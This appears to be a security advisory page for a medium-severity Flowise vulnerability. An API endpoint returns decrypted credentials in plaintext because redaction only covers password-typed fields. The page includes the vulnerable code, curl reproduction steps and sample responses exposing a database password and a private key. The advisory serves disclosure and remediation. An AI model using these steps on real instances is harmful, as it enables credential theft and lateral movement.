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AI agent vulnerability · Flowise

GHSA-rwrp-9823-p2xq: Flowise: Incomplete Credential Redaction Exposes Secrets via API

mediumCVSS 3.1 6.5

Summary The GET /api/v1/credentials/:id endpoint decrypts stored credential data and returns it in the plainDataObj field of the API response. While a redactCredentialWithPasswordType() function masks fields defined with type: 'password' in their component schema, many credential types store highly sensitive data (database connection URLs with embedded passwords, Google service account JSON with RSA private keys,…

Published Aug 4, 2026 · Updated Sep 2, 2026

Affected packages

flowise

Ecosystem
npm
Affected
<= 3.1.2
Fixed in
3.1.3
Check
npm ls flowise

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

The GET /api/v1/credentials/:id endpoint decrypts stored credential data and returns it in the plainDataObj field of the API response. While a redactCredentialWithPasswordType() function masks fields defined with type: 'password' in their component schema, many credential types store highly sensitive data (database connection URLs with embedded passwords, Google service account JSON with RSA private keys, AWS access keys) in fields defined as type: 'string'. These string-type fields are returned in full plaintext without any redaction.

Any authenticated user with credentials:view permission can retrieve the raw secrets of any credential in their workspace by calling this endpoint.

Vulnerable Code

Service Layer

`packages/server/src/services/credentials/index.ts`, getCredentialById() (line 127):

At line 138, the credential's encrypted data is decrypted:

const decryptedCredentialData = await decryptCredentialData(
    credential.encryptedData,
    credential.credentialName,
    appServer.nodesPool.componentCredentials
)

At lines 143-146, the decrypted data is attached to the response as plainDataObj:

const returnCredential: ICredentialReturnResponse = {
    ...credential,
    plainDataObj: decryptedCredentialData    // <-- decrypted secrets in response
}

At line 147, only encryptedData is stripped, leaving plainDataObj intact:

const dbResponse: any = omit(returnCredential, ['encryptedData'])

Incomplete Redaction

`packages/server/src/utils/index.ts`, redactCredentialWithPasswordType() (line 1697):

export const redactCredentialWithPasswordType = (
    componentCredentialName: string,
    decryptedCredentialObj: ICredentialDataDecrypted,
    componentCredentials: IComponentCredentials
): ICredentialDataDecrypted => {
    const plainDataObj = cloneDeep(decryptedCredentialObj)
    for (const cred in plainDataObj) {
        const inputParam = componentCredentials[componentCredentialName].inputs?.find(
            (inp) => inp.type === 'password' && inp.name === cred  // <-- only 'password' type
        )
        if (inputParam) {
            plainDataObj[cred] = REDACTED_CREDENTIAL_VALUE
        }
    }
    return plainDataObj
}

This function only redacts fields where inp.type === 'password'. Fields with type: 'string' are returned verbatim, even when they contain secrets.

Credential Definitions Storing Secrets in String-Type Fields

| Credential | Field | Type | Contains |
| `mongoDBUrlApi` | `mongoDBConnectUrl` | `string` | `mongodb+srv://user:password@host/db` |
| `googleVertexAuth` | `googleApplicationCredential` | `string` | Full service account JSON with RSA private key |
| `postgresUrl` | `postgresUrl` | `string` | `postgresql://user:password@host/db` |
| `redisCacheUrlApi` | `redisUrl` | `string` | `redis://user:password@host:port` |
| `awsApi` | `awsKey` | `string` | AWS Access Key ID |
| `langfuseApi` | `langFusePublicKey` | `string` | Langfuse API public key |
| `httpBasicAuth` | `basicAuthUsername` | `string` | HTTP Basic Auth username |

There are 60+ credential definitions in packages/components/credentials/, many with sensitive string-type fields.

Proof of Concept

Environment

  • Flowise v3.0.13 (flowiseai/flowise:latest Docker image)
  • Authenticated as admin user via enterprise auth

Steps to Reproduce

  1. Start Flowise and log in as any user with credentials:view permission.
  2. Create a MongoDB credential with a connection URL containing embedded credentials:
curl -X POST "http://TARGET:3000/api/v1/credentials" \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -H "Cookie: token=<jwt-token>" \
  -d '{
    "name": "MongoDB Production",
    "credentialName": "mongoDBUrlApi",
    "plainDataObj": {
      "mongoDBConnectUrl": "mongodb+srv://admin:[email protected]/mydb"
    }
  }'
  1. Retrieve the credential by ID:
curl -X GET "http://TARGET:3000/api/v1/credentials/<credential-id>" \
  -H "x-request-from: internal" \
  -H "Cookie: token=<jwt-token>"

Observed Result

The API returns the MongoDB connection URL in full plaintext, including the embedded password:

{
  "id": "e9543cad-8c0c-422e-9990-090c3b1dc3ab",
  "name": "MongoDB Production",
  "credentialName": "mongoDBUrlApi",
  "createdDate": "2026-02-07T17:35:29.000Z",
  "updatedDate": "2026-02-07T17:35:29.000Z",
  "plainDataObj": {
    "mongoDBConnectUrl": "mongodb+srv://admin:[email protected]/mydb"
  }
}

The same test with a Google Vertex Auth credential returned the complete service account JSON including the RSA private key in plaintext:

{
  "id": "f7768444-a4fc-4fa3-8e5e-d0d4df89fb56",
  "name": "Google Vertex Auth",
  "credentialName": "googleVertexAuth",
  "plainDataObj": {
    "googleApplicationCredential": "{\"type\":\"service_account\",\"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\nMIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn/ygWep4PAtGoL3VBpFe97XRQFQB\\n-----END RSA PRIVATE KEY-----\\n\",\"client_email\":\"[email protected]\"}",
    "projectID": "my-project-123"
  }
}

For comparison, an OpenAI API key (where the field is typed as password) was correctly redacted:

{
  "plainDataObj": {
    "openAIApiKey": "_FLOWISE_BLANK_07167752-1a71-43b1-"
  }
}

This confirms the redaction is only applied to password-type fields, leaving string-type fields fully exposed.

Impact

  • Database credential theft: MongoDB, PostgreSQL, Redis, MySQL connection URLs with embedded passwords are returned in full plaintext. An attacker can use these to directly access production databases.
  • Cloud service account compromise: Google service account JSON with RSA private keys is returned in plaintext, enabling full impersonation of the service account across Google Cloud.
  • AWS key exposure: AWS Access Key IDs stored in string-type fields are exposed, enabling enumeration of active AWS credentials.
  • Lateral movement: Stolen credentials enable pivoting from the Flowise instance to connected cloud services, databases, and APIs.
  • Multi-user workspace risk: In multi-user deployments, any user with credentials:view permission can harvest all workspace credentials via the API.

Remediation

  1. Apply redactCredentialWithPasswordType() to all sensitive credential fields, not just those typed as password. Any field containing secrets (connection strings, JSON credentials, access keys) should be redacted.
  2. Consider never returning plainDataObj in API responses. The UI should use masked previews (e.g., mongodb+srv://admin:****@cluster0...) instead of full values.
  3. Re-type sensitive credential fields from string to password in component credential definitions to ensure they are covered by the existing redaction logic.
  4. Add a separate secret: true flag to credential field definitions to explicitly mark sensitive fields regardless of their input type.

Credited to yuvalo1212.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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